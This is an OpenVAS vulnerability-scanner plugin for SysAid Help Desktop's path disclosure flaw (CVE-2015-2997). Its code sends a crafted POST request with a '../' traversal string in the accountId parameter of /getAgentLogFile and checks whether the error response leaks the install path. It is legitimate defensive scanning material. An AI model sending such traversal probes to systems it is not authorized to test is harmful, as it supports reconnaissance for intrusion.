SysAid Path Disclosure Vulnerability

2015-06-11T00:00:00
ID OPENVAS:1361412562310106008
Type openvas
Reporter This script is Copyright (C) 2015 Greenbone Networks GmbH
Modified 2017-06-23T00:00:00

Description

SysAid Help Desktop Software is prone to a path disclosure vulnerability

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_sysaid_path_discl_vuln.nasl 6415 2017-06-23 09:59:48Z teissa $
#
# SysAid Path Disclosure Vulnerability
#
# Authors:
# Christian Kuersteiner <christian.kuersteiner@greenbone.net>
#
# Copyright:
# Copyright (c) 2015 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = 'cpe:/a:sysaid:sysaid';

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106008");
  script_version("$Revision: 6415 $");
  script_tag(name: "last_modification", value: "$Date: 2017-06-23 11:59:48 +0200 (Fri, 23 Jun 2017) $");
  script_tag(name: "creation_date", value: "2015-06-11 10:02:43 +0700 (Thu, 11 Jun 2015)");
  script_tag(name: "cvss_base", value: "5.0");
  script_tag(name: "cvss_base_vector", value: "AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_tag(name: "qod_type", value: "remote_active");

  script_tag(name: "solution_type", value: "VendorFix");

  script_cve_id("CVE-2015-2997");

  script_name("SysAid Path Disclosure Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("This script is Copyright (C) 2015 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_sysaid_detect.nasl");
  script_mandatory_keys("sysaid/installed");

  script_tag(name: "summary", value: "SysAid Help Desktop Software is prone to a path disclosure
vulnerability");

  script_tag(name: "vuldetect", value: "Send a crafted POST request and check the response.");

  script_tag(name: "insight", value: "");

  script_tag(name: "impact", value: "An attacker can find the install path the application is installed
under which may help in further attacks.");

  script_tag(name: "affected", value: "SysAid Help Desktop version 15.1.x and before.");

  script_tag(name: "solution", value: "Upgrade to version 15.2 or later");

  script_xref(name: "URL", value: "https://www.security-database.com/detail.php?alert=CVE-2015-2997");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

traversal = crap(data: "../", length:3*20);
url = dir + '/getAgentLogFile?accountId=' + traversal + rand_str(length:12) + '&computerId=' + rand_str(length:14);
# Zlib compressed random data
data = raw_string(0x78, 0x9c, 0x4b, 0x2b, 0x30, 0x0d, 0x33, 0x89, 0xc8, 0x0b, 0x2b, 0x01, 0x00,
                  0x0f, 0x64, 0x03, 0x26);

req = string('POST ', url, ' HTTP/1.1\r\n',
             'Host: ', http_host_name(), '\r\n',
             'Content-Type: application/octet-stream\r\n',
             'Content-Length: ' + strlen(data), '\r\n\r\n',
             data);
buf = http_keepalive_send_recv(port: port, data: req);

if (buf =~ "Internal Error No#") {
  if (egrep(pattern: traversal, string: buf)) {
    security_message(port:port);
    exit(0);
  }
}

exit(99);